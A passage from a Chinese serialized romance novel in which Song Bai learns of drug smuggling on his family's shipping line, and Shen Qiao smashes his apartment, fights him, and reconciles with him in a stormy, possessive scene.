下一瞬, 他俯身伸手, 一把攥住了沈荞的手腕。 力道不算重, 却强势,指节微微收紧, 将她整个人困在了沙发与他之间,退无可退。 沈荞下意识挣扎了一下, 手腕刚一动,就被他握得更紧。 “放开。” 沈荞声音冷, 眼神更冷。 宋柏垂眸,看着她冰冷的眼,弯腰一寸寸逼近, 鼻尖几乎贴上她的鼻尖。呼吸交织的刹那, 他陡然顿住动作。 “再对你心软,我才是真的贱。” 话音落下, 宋柏直起身,松开她手腕的同时, 几乎是将她的手甩到一边,动作干脆, 不留半点余地。随即转身,头也不回朝大门走去,挺拔的背影冷硬, 没有一丝留恋。 啪—— 门被他一把拉开。 开门的瞬间,门外的许莫言僵在原地,手还停在半空中,顿住了即将要敲门的动作。看着门内那张阴沉得可怕的脸,他心头一紧,连忙收了动作,讪讪叫了一声:“老板。” 宋柏眼神都没给他一个,甩门迈步,许莫言立刻跟上,小步凑近,压低声音:“老板,魏霖来了。” 宋柏脚 步一顿,回头,眼神冷得刺骨:“魏霖?” 许莫言连忙点头:“他开车堵在了大门口,嚷嚷着要见您。小九怕宾客撞见闹大,就先把人带进来了,关在副楼。您要去见吗?” 宋柏冷冷一笑。 那笑声里没有半分温度,只有毫不掩饰的戾气。 既然自己送上门找死,那他就成全他。 他没再多说一个字,径直穿过长廊。廊壁上的暖光落在他身上,却照不散他眼底半分寒意。 走到楼梯口时,他迎面遇上了宋康。 宋康刚从另一边过来,瞥了眼宋柏来时的方向,又看了看他此刻浑身戾气的模样,神色微微一变:“二哥,你……” 话刚出口,就被一声冷斥打断:“闭嘴。” 宋柏大步流星擦过他,径直迈步下楼。宋康站在原地,看着他冷硬的背影消失在楼梯转角,才缓缓收回目光,转身走向走廊尽头的休息室。 他走到门口,定住脚步,抬手,轻轻敲了敲门。 “荞荞,是我,宋康,你还好吗?” * 另一边,宋柏已经避开喧闹的宴会和人群,迈进了副楼。 今天这场看似是订婚宴,实则是顶层圈子的名利场。来的全是政商顶层人物,一个个衣冠楚楚,谈笑间暗流涌动。觥筹交错间,庄园大部分区域都被封锁,包括东西两侧两栋副楼。 宋柏刚踏进副楼,就沉着脸开口:“魏霖呢?” 守在大门口的小九立刻上前一步,低声回:“在书房。” 和主楼的奢华不同,副楼的装修偏中式沉稳。推开厚重的实木大门,一整面墙的书架映入眼帘。而书房正中间,那个本该在国外、消失了好几个月的男人,正坐在椅子上,面色惨白,双手控制不住发颤。 听到开门声,魏霖转头。 在看到被保镖簇拥着进门的高大身影时,他浑身一软,瞬间从椅子上滑了下去,径直跪倒在地,膝盖重重磕在地板上,发出一声闷响。 “宋二哥,救我……” 他声音发颤,带着哭腔,姿态卑微到了极点。 与此同时,主楼宴会厅另一侧。 出生普通的陈延,并不适应这种暗流汹涌的场合。每个人脸上都挂着恰到好处的笑,眼底却藏着打量和算计,每一句寒暄都带着试探,让他浑身不自在。 在和陈青野见完该见的人之后,他便打算退场,带沈荞回家。 “你们要一起,还是再待一会儿?” 陈青野看了眼宴会厅深处,淡淡道:“你开车带沈荞先回去,她估计要陪苗妙到宴会结束。” 陈延点点头,没问车开走了他们怎么回去。 他清楚,作为主人,宋康自然会安排好一切。他想到了这一点,却没想到到,会在走廊上撞见从沈荞休息室里走出来的宋康。 两人迎面撞上。 陈延眼神凝聚,目光沉沉落在宋康身上。 宋康神色自然,对他温和一笑:“苗妙不放心,让我上来看看。怎么,你们要走了?” 陈延刚凝聚的眼神稍稍松懈,对他微微颔首。 “嗯,时间不早了。” 宋康:“今天宾客太多,没能好好招待你们。过两天,我和苗妙再单独请你们吃饭。” 陈延没多言,只淡淡点点头,随即迈步走向休息室。 宋康站在原地,看着他的背影,脸上温和的笑意一点点收敛,最后只剩下一片深不见底的沉静。 也就在这时,宋康的手机在口袋里震动起来。 他回头,一边走一边接起:“二哥……” 声音渐渐远去同时,休息室的大门,也应声被陈延推开。 原本坐在沙发上的沈荞抬眸看来,在看到门边的陈延后,紧绷的肩膀一沉,像是卸下了最后一点力气,露出满脸疲惫。 “陈延,我想回去了。” “好。” 陈延点头,走上前。 “能自己走吗?” 沈荞轻轻点头,撑着沙发起身。陈延自然地伸出臂弯,沈荞顺势挽住,将自己大半的重量,靠在了他身上 陈延稳稳扶着她,带着她出门。 “要不要去和苗妙打个招呼?” 沈荞轻轻摇头,陈延也没再勉强,带着她下楼。 下楼要出门必须穿过宴会厅,往出走的时候那些宾客的窃窃私语也毫无遮挡钻入耳朵里。 “没想到,先订婚的居然是二房的,。” “听说是已经怀了,不然怎么这么快。” “真的假的?那这岂不是宋家主家第一个孙辈?” “你别说,还真是。大房老太太这几年宴会都不怎么参加了,听说就是看别人一个接一个抱孙,堵心。今天老太太也是露了个面就上楼了,别是……” “别说老太太了,今天大房的人都没怎么露面,老爷子也没见着,宋柏也不见人影。” “偷偷跟你们说,宋老太太打算年底办一场大宴,规格高得很,很有可能……又是一场订婚宴。” “订婚宴?谁的?” “现在宋家主家单身的,就剩一个了,还能是谁?没看见吗?赵家刚从国外回来的那个女儿,今晚一整晚都跟在宋柏身边……” 闲言碎语入耳。 陈延下意识侧头,看向身侧的沈荞。 沈荞一脸平静,仿佛什么都没听见,甚至还轻轻拉了拉他的手臂,示意他加快脚步。 看着脸上没有波澜,没有情绪,可陈延看得清楚,她挽着他手臂的手指,在微微泛白。 走出宴会厅,走出大门,夜晚的冷风扑面而来。陈延扶着缩了缩脖子的沈荞,小心翼翼将她送上车。 车内冰冷,陈延上车第一件事就是打开空调:“很快就暖了。” 窝在副驾的沈荞轻轻点头,阖上双眼,将所有的情绪都藏在眼帘之下。 高大的越野车驶离庄园时,宋康也走进了副楼。 他刚走到书房门外,就听见里面传来压抑的、断断续续的啜泣声。 宋康脸色一沉,直接推开门。 门一开,视线便落定在房间中央。 他二哥慵懒陷坐在真皮坐椅里,一只手随意搭在扶手上,端着半杯酒,一派漫不经心,而在他脚边,魏霖正狼狈趴在地上,哭得浑身发抖。 几个月前,被魏家偷偷送出国、就此销声匿迹的人,此刻竟出现在他的订婚宴上。 “二哥。” 宋康沉声唤了一句,迈步上前。 趴在地上的魏霖听到声音,顶着一张泪脸转头。 在看到宋康的那一瞬,他脸色骤然僵住,眼底闪过一丝复杂难辨的情绪。有嫉妒,有不甘,有自卑,还有一丝绝望。 同样的年纪,相似的出身起点。 一个如今风风光光,在众多宾客的祝福下,举行盛大订婚宴,前途大好;一个却在家族即将破产之际,狼狈出逃国外,东躲西藏,连头都抬不起来。 在国外那些担惊受怕、暗无天日的日子里,钱霖不止一次想过,为什么? 为什么他会沦落到这一步? 思来想去,他只得出一个结论。 他缺一个像宋柏这样手段狠辣、能一手遮天的哥哥。 魏霖止住眼泪,正怔怔看着宋康出神时,陷坐在椅子里的宋柏懒懒开口,声音不大,却压迫感十足:“把刚才告诉我的,原封不动,再对他说一次。” 魏霖身躯一僵,缓缓转头。 刚一抬头,就对上宋柏那双凌厉的眼。 他浑身一颤,再看向站在面前、神色冷静的宋康,眼底也多了一抹决绝。 “我知道,撞我姐姐的是谁。” 他声音发颤,却一字一顿,“我不是有意让姐姐怀孕的,我……我也是被逼的。” 宋康垂眸,看着半跪在面前的人,眉头微蹙。 “他们在我们的海运船里藏了毒,用我们的船运毒……所有事都是他们逼我的,我不想被他们控制,我只想让姐姐回到宋家,我想让姐姐,想让宋家,拉我们一把,仅此而已。” 他语速越来越快,情绪越来越激动,“我真的没想到,他们会对姐姐下手,我真的没想到……” 说到最后,他又捂着脸,崩溃痛哭起来。 宋康眼底诧异一闪而过,缓缓抬眼,看向自己的二哥。 宋柏不耐烦地抬了抬手指。 站在角落里的保镖立刻上前,像拖垃圾一样,将瘫在地上的人直接拖了出去。 门咔嗒一声关上,哭声彻底隔绝在外。 书房里终于恢复了安静。 一片死寂之中,宋康在宋柏对面落座,再抬眼时,脸上所有情绪都已收起,只剩下冷静理智。 “二哥,魏霖说的海运船,是哪条线路?” 宋柏淡淡开口:“ 南美的。” 宋康神色一沉:“钱家海运南美线,最大的客户,是我们。” 也就是说,有人借着钱家的船,宋家的货,在他们的运输线路里运毒。 宋康声音压低:“二哥,你需要我做什么?” 宋柏攥着酒杯,语气平静,却字字狠绝:“让魏霖把他知道的,全都吐出来。然后,送公安。” 宋康点头,心底一片清明。 魏霖口口声声说自己是被逼的,可他比谁都清楚,事实绝不是这么简单。 魏家早已一代不如一代,到了魏霖这一代,更只有他一个独子,典型的二世祖,做生意一窍不通,吃喝玩乐、惹是生非却是一把好手。 这场祸,十有八九,是他自己招来的。 而这其中带来的巨大利益,他应该也实实在在享受到了。 宋康是律师,集团所有重要决策和文件几乎都要经他手。他比谁都清楚,这几年他二哥到底给钱家送了多少项目、多少便利。 本以为魏家这几年起势,是因为背靠着宋家,背靠他二哥,现在看来,背后另有猫腻。 宋康沉吟片刻,继续道:“魏书平昨天还登门找过大伯,说要见大嫂一面。大伯没见他,也没让他见大嫂。大伯母本来打算年底,让年年和岁岁正式露面的,现在……” 两个孩子接回来大半年,至今没让他们露面,也没让外人知道,很大原因是因为孩子刚回来,需要适应,还有就是他大嫂至今都昏迷不醒。 本打算在年底公开,可现在…… 一旦这事被揭开,即便是宋家,都要因为姻亲关系陷入议论,更别提两个孩子。 宋柏:“我会和他们说。你做好你该做的。” “二哥,我知道你不想见陈青野。”宋康语气慎重,“但陈青野的无人机公司,这两年给边防、公安减少了不少麻烦,他和边防禁毒那边关系都不错。这事,如果能有他帮忙……” 话没说完,但意思已经很明显。 宋柏冷眼看了他一瞬,沉默片刻,终于松口:“明天让他来公司。” 宋康心头一松:“好。” 窗外夜色深沉,宴会依旧喧嚣。而寂静深处,一场风暴,正在酝酿。 第55章 对峙 一楼宴会厅的喧嚣终于在午夜时分彻底散尽, 宾客们三三两两相携离去,暖黄的灯将他们的身影拉得很长,给冰冷的雪夜里添了几分温情。 而三楼的落地窗前,端着酒独自立在窗边, 已经喝到半醉的宋柏, 幽深的眸底覆着一层挥之不去的冷戾与疲惫。 他脑海里不受控制翻涌着几个小时前的画面 她冷若冰霜的脸, 还有她那句“我也没见过比你更贱的男人”。 他知道她想念姐姐, 所以这几个月放任她待在姐姐身边, 不去打扰的同时又怕她受委屈。 他特地让何婶把她的手机送过去,让她随时可以联系他。可这几个月, 她一个电话都没给他打过。 取而代之的,是她每天和另一个男人同进同出, 举止亲密,那些照片一张张摆在他眼前时, 他认清了她确实没心的现实。 几个月不见,再重逢,她没有半句解释, 只有冷眼, 只有辱骂。 当初在卡塔赫纳找到她的时候,他就清清楚楚说过, 事不过三。 而今天,是最后一次。 绝不可能有下一次了。 她不过是他一时兴起的乐趣, 这一时,莫名延续了一年多, 早就够了。他腻了,烦了,也已经耗完了所有的耐心。 到此为止, 就此结束。 闷掉杯子里最后一点酒,他拉上厚重的窗帘,将窗外的灯火与人影彻底隔绝在外,随手将空酒杯丢在一旁的边几上,他抬手松了松纽扣,迈着修长有力的双腿,径直朝浴室走去。 温热的水雾从淋浴头里喷涌而出,氤氲了整个浴室,温热的水流冲刷过精壮紧实的身躯,酒的后劲也翻涌上来, 就在这时,浴室门被轻轻叩响。 宋柏眉峰一蹙,随手扯过一条浴巾,松松垮垮裹住下身,赤着脚踩在冰凉的大理石地面上,发梢的水珠顺着凌厉的下颌线滑落,滴在肌理分明的胸膛上。 他拉开门,脸色不善。 站在门外的,是许莫言。 “不是让你去休息吗?” 许莫言心里苦不堪言,他也想去休息,可就是有人要折腾他。而下一个,被折腾的……估计就是他老板了。 压下心底的思绪,许莫言收敛神色,将手中的平板递到老板面前。屏幕上是小区监控的画面截图。 “老板,沈小姐半个小时前,突然回了华府的住所。十分钟前,又刷卡上了楼,进了您的住所。” 住所? 宋柏眸色一沉。 那个位置地段的房子,从来不在宋柏的置产范围呢。他买下那套房子纯粹是因为她,也从来没把那当过自己的住所。这几个月,他几乎都在海外,更是没回过那。 而她,回到姐姐身边后,仿佛也将只隔了一条马路的房子,彻底抛在了脑后,连一次都没有回去过。 几个月不回,偏偏在今天,在大半夜,突然回去,还上了楼? 是和姐姐闹了不愉快? 还是……专程来找他? 心脏不受控制跳了一下,宋柏猛地回神,眼底刚泛起的一丝波澜,瞬间被冰冷覆盖。 管她是为什么,是受了委屈还是心血来潮。 她的一切,都已经和他无关了。 “她的事,以后不用再向我汇报。” 许莫言猛地一怔,愣在原地半天没回过神。 老板这意思……是要彻底和沈小姐断了?结束这段鸡飞狗跳的孽缘了? 反应过来的那一刻,许莫言差点喜极而泣,心底狂喜几乎要冲出胸腔。 苍天有眼! 大地有灵! 他终于不用再天天提心吊胆,终于可以过上朝九晚五、正常下班的正常人生活了! 许莫言在心底疯狂感谢老天时,手中的手机却突然响了起来。他瞥了一眼屏幕,再抬头时,他老板已经头也不回转身,重新走进了浴室,淋浴的水声再次响起。 许莫言松了口气,转身往外走同时接起了电话。刚走两步,电话那头的声音让他僵在原地。 “你再说一遍?” 挂了电话,许莫言站在空旷的房间里,看看远处的大门,又转头看向水声不断的浴室,长长叹了一口气后,肩膀随之耷拉了下来。 他认命折身,一步步走回浴室门口。 浴室门没有关,走到门边,许莫言一眼就能看清淋浴头下,线条流畅的身躯。 他硬着头皮开口:“老板,刚华府的物业打来电话,问我们是不是在装修,说楼下好几户住户都投诉了。” 浴室里哗啦啦的水声骤然一顿。 水雾中,宋柏抬眼,眸色冷冽:“装修?” “我已经派人过去查看了,但看情况,十有八九是沈小姐闹出来的动静。”许莫言咽了口唾沫,硬着头皮继续道:“物业还说,楼下住户已经放了话,再不停下来,他们立刻报警。” 报警? 宋柏扯了扯唇角,扯出一抹冷笑。 她确实该好好长长记性了。 * 从宴会上离开的沈荞,没有去陈延家等姐姐,而是径直回了姐姐家。 漆黑的客厅里,借着窗外透进来的微弱月光,她抱着膝盖,蜷缩在沙发上,身边趴着小狗,就这么安安静静坐了近两个小时,直到玄关处传来钥匙转动的声音。 沈蒲蘅和半醉的陈青野走了进来,看到沙发上还没睡的沈荞,沈蒲蘅惊讶:“荞荞,怎么还醒着? 药吃了吗?” 回来后并没有吃药的沈荞,在面对姐姐的关切时,却点了头:“吃了,姐姐。我只在等你们,你们回来了,那我也去睡了。” 说着,她起身,乖乖走进次卧,轻轻关上了房门。 早已习惯沈荞乖顺的沈蒲蘅没有丝毫怀疑,扶着半醉的陈青野进了主卧。 在主卧门关闭片刻后,次卧紧闭的房门,悄无声息推开了一条缝。 沈荞穿着单薄的白色睡裙,赤着脚踩在冰凉的地板上,轻手轻脚地走了出来。趴在狗窝里的小狗闻声抬起头,她立刻竖起食指,比了个噤声的手势。 就在这时,主卧的方向,传来一阵清晰的、压抑的暧昧声响。 那声音钻入耳膜,让沈荞本平静的脸,瞬间阴沉下来,压抑了一整晚的烦躁与戾气,也彻底爆发。 紧紧攥起垂在身侧的小手,沈荞没有丝毫犹豫,赤着脚快步走到玄关,从鞋柜里翻出一双雪地靴套上,又抓起衣架上的羽绒服往身上一套,拉链都没拉,直接拧开了大门。 门开的瞬间,深夜的寒风呼啸而入,冰冷的风刮过她羽绒服与雪地靴之间裸露的一小截小腿,刺骨的冷意蔓延开来。 向来不喜欢冷天的沈荞,此刻却像毫无知觉一般,迈步走进冰冷的夜色里。 大门轻轻合上,发出一声轻响。 她快步走下楼道,走出小区,穿过马路,进入对面的小区,刷卡、进电梯、直达26楼。 电梯门缓缓打开,熟悉的入户门出现在眼前。沈荞抬手,指纹轻触,门锁应声而开。 几个月无人居住的房子,依旧干净整洁,一尘不染,可也许又是因为太久没有人气,空气里都透着一股刺骨的清冷。 环顾一圈,沈荞径直走进主卧,在抽屉最深处,翻出了那张她从来没有使用过的、通往27楼的专属电梯卡。 拿着电梯卡,她重新回到电梯,刷卡、上楼,指纹再次解锁,推开了大门。 比起楼下,眼前冷硬奢华的空间,在冷白色的灯光下,更显得冰冷孤寂。 一室寂静,一室寒凉。 沈荞面无表情,径直走向书房,目光一扫,便落在了角落的高尔夫球杆包上。 她拉开拉链,将里面的球杆逐一取出掂量,很快挑中了一根重量最趁手的杆。 拖着球杆走出书房,她的目光冷冷扫过客厅,最终定格在那一整面摆满了价值不菲的名酒的酒柜上。 沈荞扯了扯唇角,露出一抹嘲讽的笑。 她拖着球杆,打开酒柜门将里面的酒瓶一一取出,整齐排列在吧台之上。站定、瞄准、蓄力,下一秒,她猛地抬手挥杆。 啪—— 清脆的破碎声骤然响起,酒瓶瞬间碎裂,琥珀色的酒液四溅,玻璃渣散落一地。 啪—— 狗男人! 啪—— 把她当她姐姐的替身,他以为他是什么东西? 狗东西! 啪—— 说她没心? 她为什么要对一个狗东西有心。 啪—— 订婚? 订婚好啊,那她就送他一份礼。 一下又一下,她用尽全身力气挥杆,酒瓶、酒柜、吧台、落地灯、精致的摆件……所有入目的东西,都被她砸烂。玻璃碎片与各色酒液混在一起,流淌在光洁的大理石地面上,偌大的客厅,转瞬沦为一片狼藉。 而持杆的沈荞,脸上终于露出了一丝畅快的笑意,只是她眼底的戾气丝毫未减。 就在她砸得兴起时,入户门传来急促的敲门声。 沈荞充耳不闻,挥杆的动作没有丝毫停顿,反而愈发疯狂。 直到整个客厅被她砸得面目全非,她才拖着球杆,面无表情准备走向主卧,就在这时,被她无视已久的入户门,突然被人从外面打开。 沈荞顿住脚步,缓缓侧眸。 高大挺拔的身影逆光站在玄关处,冰冷的目光冷冷扫过一片狼藉的客厅,没有丝毫意外,最终,视线稳稳落在她身上。 他看着她,先是冷冷笑了一声,随即慢悠悠从兜里掏出手机,指尖点了几下后,将电话贴在了耳边。 “你好,我要报警。有人私闯民宅,蓄意打砸,损坏财物价值估值在几百万,地址是华府国际……” 他的声音很平静,平静将沈荞眼底的怒火彻底燃烧。 他话才到一半,燃着怒火的沈荞已经走到距离他两步远的地方,高高举起球杆,迎面狠狠挥下。 球杆带着劲风落下,却在半空中被稳稳接住。 宋柏单手攥紧球杆,力道大得让沈荞根本无法撼动。他抬眼,眸色冰冷,刚要继续对着电话说话,沈荞却果断松开球杆,直直朝着他撞了过去。 看似瘦小纤细的身躯,在爆怒之下爆发出惊人的力量,宋柏毫无防备,整个人被她狠狠撞在身后的大门上,后背传来一阵钝痛,手中的手机也应声掉落在地。 手机刚好落在沈荞脚边。 她勾了勾唇角,抬脚,毫不留情地将手机一脚踢开。 下一秒,攥紧的小拳头,带着全部的怒意,朝着他的小腹狠狠挥去。 只是,拳头还未碰到他,就被他的大掌半空截住。 宋柏牢牢擒住她冰凉的手腕,四目相对间,两双眼睛里都翻涌着滔天怒意。 “沈荞,你以为这还是在哥伦比亚?” “我分分钟就能让警察把你带走,到时候,你最在意的姐姐,还有你天天黏着的陈延,他们会怎么看你?” 一句话,精准戳中了沈荞的逆鳞。 本就怒火中烧的她,笑了,笑得疯狂。 她抬起另一只手,精准反向扣住宋柏攥着她手腕的大掌,指尖轻轻一摁。擒着她手腕的宋柏只觉得掌心一阵触电般的麻痛,下意识缩回了手。 几乎是同一瞬间,得了自由的沈荞反手一把揪住他的衣领,随即狠狠往下一拉,同时屈膝,纤细的膝盖狠狠顶在他结实的小腹上。 “唔——” 宋柏吃痛,下意识弯腰。 沈荞抓住这个空隙,脚尖点地,猛地旋身,借力一跃,直接整个人跨坐在了他的背上,双臂死死缠住他的脖颈,手臂收紧,用尽全身力气勒住他的脖子。 “送我进去?”沈荞趴在他肩头,贴着他的耳侧轻语:“那我先弄死你!” 脖颈上的力道越来越紧,窒息感瞬间袭来,宋柏下意识抬手去扣她缠在自己脖子上的手臂。 他用力拉扯,可沈荞像块牛皮糖一样死死黏在他背上,双臂勒得死紧,根本无法掰开。 “沈荞,下来!别逼我对你动手!” 宋柏的声音因为窒息而变得沙哑。 沈荞不仅充耳不闻,手臂还收得更紧,眼底是彻底的疯狂:“有本事你就弄死我,不然今天,就是我弄死你。” 被彻底激怒、已经彻底失去理智的沈荞,此刻心中只有一个念头。 弄死他! 脖颈处的力道几乎要掐断他的呼吸,宋柏没有再迟疑,沉腰发力,宽厚的手掌紧扣住她缠在颈间的小臂,借着身体重心骤然向前一倾,狠狠将背上的她往下带。 沈荞猝不及防,整个人被他猛地甩落,踉跄着向后退了两步,脚踝磕在碎裂的玻璃渣上,一阵刺痛传来。 她却像感觉不到疼一般,撑着身后残破的吧台站稳,抬眼时,眼底依旧燃着未灭的怒意,喘着粗气,死死盯着眼前的人。 宋柏捂着发疼的脖颈,剧烈地咳嗽了两声,再抬眼时,棕墨色的瞳孔里戾气翻涌。 “沈荞,你真是疯了。” 宋柏的声音低沉沙哑,带着刚被勒过的粗粝。 沈荞冷笑一声,不顾脚底还流血,一步步朝他逼近:“对,我是疯子。” “把我这个疯子当替身耍了一年的你,又是什么?” “狗男人还是狗东西?” “不对,不能侮辱狗。” “你个恶心东西。” 她每逼近一步,宋柏便向后退一步,直到后背再次抵上冰冷的大门,退无可退。 昏冷的灯光落在她脸上,她眼眶不知何时无声漫开一抹红,混着倔强与怒意。 宋柏垂眸,看着她被玻璃划出细小的血珠的裸露脚踝,看着她只穿了睡裙的单薄身躯,看着她明明已经 红了却不容眼泪掉下的眼。 心底那道被他强行竖起的防线,在这一刻,轰然裂开。 什么事不过三,什么到此为止,什么腻了烦了,在她红着眼站在他面前的这一刻,全都成了自欺欺人的废话。 “替身?” 宋柏低低重复了一遍,忽然笑了,笑声低沉又酸涩。 他猛地抬手,一把扣住她的后颈,不等她反应,便俯身狠狠压了下去。 积攒了数月的思念、怒意与占有欲,在这一刻彻底爆发。 近乎疯狂的碰撞,唇齿相撞的瞬间,血腥味瞬间在舌尖漫开。 沈荞下意识挣扎,双手抵在他胸膛用力推搡,可他的力道大得惊人,牢牢将她禁锢在怀中,另一只手扣住她的腰,狠狠往自己身上按。 她越挣扎,他便吻得越凶,像是要将她的冷漠、她的疏远、她的伤人话语,全都用这个吻吞掉、碾碎、抹平。 温热的呼吸交织,酒气与她身上淡淡的冷香缠在一起,混乱而滚烫。 刚才还针锋相对、恨不得同归于尽的两个人,在这一刻,只剩下失控的纠缠。 沈荞的抵抗渐渐软了下来,攥着他衣襟的手指慢慢收紧,从用力推开,变成死死揪住。她眼底的泪终于控制不住地滚落,砸在两人相贴的肌肤上,滚烫得发烫。 宋柏察觉到她的泪,吻稍稍缓了几分,却依旧不肯放开,唇齿辗转,从凶狠变成近乎偏执的掠夺,一遍一遍描摹着她的唇形,像是要把这几个月缺失的,一次性补回来。 玻璃渣扎进皮肤的疼,深夜的冷,心底翻涌的怨与念,全都在这一场疯狂又失控的亲吻里,化为一团烧得人窒息的火。 他从没想过,自己会栽得这么彻底。 更没想过,什么都抵不过她红着眼看他一眼。 怀中人的呼吸越来越乱,揪着他后背的手,指甲几乎要嵌进去他的肌肤, 宋柏松开她一点,额头抵着她的额头,喘着气,眼底是浓得化不开的暗涌。 “沈荞,你不是疯,你是傻。” 他松开她的唇,却没有放开她,大掌顺着她纤细的腰线下滑,牢牢攥住她冰凉的手腕,指腹摩挲着她微凉的肌肤。粗重的呼吸依旧在两人之间缠绕。 “放开我。” 沈荞抬眸,眼底依旧燃着未消的戾气,声音里带着强撑的倔强。 “我不放。” 他毫不留情地打断她,语气冷硬,没有半分商量的余地。 “我把你当替身?” “当谁的替身?” “沈荞,你从哪听了乱七八糟的鬼话,连问都不问我一句,就把这么脏的帽子扣在我头上。” “就是因为这个,所以你几个月不联系我,一见面就骂我贱,还在大半夜跑来砸我家是吗?” 一句句沉重的质问,狠狠砸在沈荞心上,砸得她头脑发懵,一句话也说不出来。 沈荞死死咬着泛红的唇,沉默。 而见她沉默,宋柏眼底的戾气更甚,指腹摩挲着她被吻得红肿发烫的唇,语气冷厉: “说话。” “我没什么好说的。放开我。” 沈荞偏过头,躲开他灼热的触碰。 “放开你?” 宋柏像是听到了天底下最可笑的话,低笑一声,笑意未达眼底。他忽然俯身,再次狠狠封住她的唇。 这一次比刚才更凶,更狠,像是要将她所有的倔强、所有的沉默,全部碾碎在唇齿之间,吞入腹中。 他不给她任何逃离的机会,手臂紧紧箍着她的腰,将她牢牢困在冰冷的墙壁与自己滚烫的胸膛之间,退无可退,避无可避。 唇齿再次分离的瞬间,两人皆是大口喘息,额间紧紧相抵,凌乱的发丝纠缠在一起,气息交融,难解难分。 宋柏盯着她泛红湿润的眼,声音沙哑。 “沈荞,你说不说。” “不说我也知道,是你姐姐和陈青野是吗。” “说我给你姐姐送过花,追求过她是吗?” “沈荞,你就把我想的这么难堪是吗?” “在遇到你之前,我就见过你姐姐三次,连她的脸都记不清楚,我更没有去当小三的爱好。花确实有人送过,但根本不是我送的。” “我懒得解释,是因为,你姐姐对我而言,什么都不是,连让我多提一句的资格都没有。” 沈荞猛地抬头,厉声道:“不许这么说我姐姐。” 她的下意识维护,让宋柏又沉了眼。 他抬起了手,微凉的指尖稳稳捏住她的下巴,强迫她与自己直视,眼底翻涌的戾气渐渐平息,只剩下一片沉冷的平静。 “沈荞,做人不能太双标。” “我有问过你傅英吗?问过陈延吗?” “他们明晃晃出现在你身边,我从没多问你一句。可你呢?不问青红皂白,就这么对我,你觉得,公平吗?” 沈荞迎上他的目光,心口一紧,下意识反驳:“那不一样。” 宋柏眉峰一压,语气沉了几分:“哪里不一样?” 沈荞抿紧唇,沉默了几秒,冷不丁开口:“那个要和你订婚的女人呢?” 宋柏一怔:“什么订婚的女人?你又从哪儿听来的乱七八糟的谣言。” “就是今晚,站在你身边的那个。” 沈荞垂着眼,睫毛轻颤。 倔强中又透着委屈的模样,落入宋柏眼底,让宋柏心头翻涌了几个月的戾气和烦躁,顷刻间烟消云散。 他忽然低笑出声,笑意从眼底漫开,清朗又开怀。 他伸手捧着她的脸,低头,细碎吻落在她的眼尾、鼻尖、唇角,一下又一下。 “吃醋了?是不是?” 沈荞偏头躲避,躲到最后没了耐心,攥紧拳头,抬手往他腰间又狠狠捶了一拳。 一声闷哼落下,宋柏却依旧没松开她,只是收了亲吻,微微弯腰,将头深深埋进她的颈窝,胸腔震动间,闷笑声传来。 “我没有要订婚,那个女人跟我毫无关系,什么都不是。” “是她自己硬凑上来,我没让她滚,不过想逼你主动来找我。可你倒好,没良心,转头就上楼,连看都不多看我一眼。” “你还骂我,说我是贱男人。” “沈荞,你要是真的不在意,为什么会介意我给你姐姐送花,为什么会介意我身边站着别的女人。你其实是喜欢我,所以对我有占有欲,对不对?” 温热的鼻息喷在颈侧,语气里满是控诉,沈荞浑身一僵,嘴硬反驳:“我才不喜欢你。” 埋首在她颈间的宋柏缓缓抬起头,漆黑的眸锁住她躲闪的眼,眼神深邃又滚烫。 “可是,我喜欢你。” 看似轻飘飘的一句话,却重重得砸在沈荞心上,砸到她整个人都僵在了原地。 睫毛疯狂颤抖,她别开脸,不去看他那双滚烫炙热的眼。咽喉间像是被什么堵住,一句话也说不出。 而宋柏,根本不给她逃避的余地,微凉的指尖轻轻捏住她的下巴,逼着她抬头,直视他眼底。 “沈荞,我不信你,什么都感觉不到。” 沈荞不是感觉不到,她是没有感觉。 吃了药,她大部分时间都陷在混沌与迟钝里,情绪被压得极淡,连喜怒哀乐都变得模糊。 她记得自己意识昏沉时,对他本能的依赖,也记得他抱着她、吻着她时,她下意识的回应。 但这对她而言,本没什么特别。 她也抱傅英,傅英也会抱她。 至于,亲吻,好像也没什么。 直到刚刚,她冲口而出的那句“那不一样”。 原来,在她心底深处,他不一样。 和傅英,和陈延都不一样…… 傅英是哥哥,陈延是朋友…… 而他…… 是轻而易举会惹她生气的人。 是可以任由她发泄心中怒火的人。 是可以任由她做自己,不用装乖顺的人。 是一想到他和其他女人在一起,她就想杀了他的人。 宋柏将她眼底的挣扎与动摇尽收眼底,指尖微微放松,语气放得极轻,带着十足的耐心与温柔:“沈荞,我知道,你对我也有感觉。没关系。我们可以慢慢来。” “只有两点……” “不许再随便冤枉我,以后想知道什么,直接来问我。” “还有,离那个陈延远一点。” 本还沉浸在思绪里的沈荞猛地回神,眉头瞬间蹙起,语气带着本能的抗拒:“凭什么?” 宋柏:“就凭你不愿意我身边出现任何女人,我也不愿意他离你太近。” 沈荞眉峰拧得更紧,刚要开口反驳,腰肢忽然一紧,整个人被他打横稳稳抱起,大步朝着主卧的方向走去。 “干什么?” “再站下去,脚底血都要流干了。” 沈荞这才后知后觉,感知到脚底的痛。 温度逐渐升高的主卧里,沈荞的脚被人攥在掌心,细碎的玻璃小碎片,并没有扎很深,也没有流多少血。 处理好伤口,沈荞下意识想抽回脚,脚踝却被温热的手掌牢牢攥住,不肯松开。 他指尖轻轻摩挲着她细腻的脚踝,炙热的目光落在她脸上,声音暗哑下来,带着几分勾人的低哑:“你砸了我几百万的酒,打算怎么赔?” 沈荞张了张嘴,刚想开口说赔钱,就被他抢先打断。 “我不接受钱。” 沈荞眉头一拧,直觉他没憋好屁。 果然,下一秒,他温热的掌心就顺着她的脚踝缓缓向上,而他,也顺势俯身凑近,把她压在了松软的被子里。 温热的指尖一寸寸向上,他的鼻息,也越凑越近。 “说实话,这几个月,想没想我?” 沈荞眨眼,认真回答:“不想。” 第56章 嘴硬心软 沈荞没说谎, 她确实没想他。 如果有想,那她就不会是今天才来把他家砸了。 而这一切,都要归功于她的姐姐。 这段日子,她沉浸在失而复得的亲情里, 满心满眼都是姐姐, 哪里还有半分空余, 去想他。 沈荞很坦然, 宋柏也只能咬咬牙。 从第一次见面, 被她动手揍到直接进医院开始,他在她面前, 就注定落了下风。 宋柏看着陷在柔软被褥里、长发披散的人,抬起手, 抚过她微凉的脸颊。 “这几个月,过得开心吗?” 沈荞先是点了点头, 后又蹙起了眉。宋柏抚过她皱起的眉心,声音低哑:“怎么了?” 沈荞抬眼,眼神里带着毫不掩饰的嫌弃:“我讨厌陈青野。” 讨厌他霸占了姐姐, 讨厌他总用一副长辈般的口吻对她说话, 讨厌他总是插在她们姐妹之间当电灯泡。 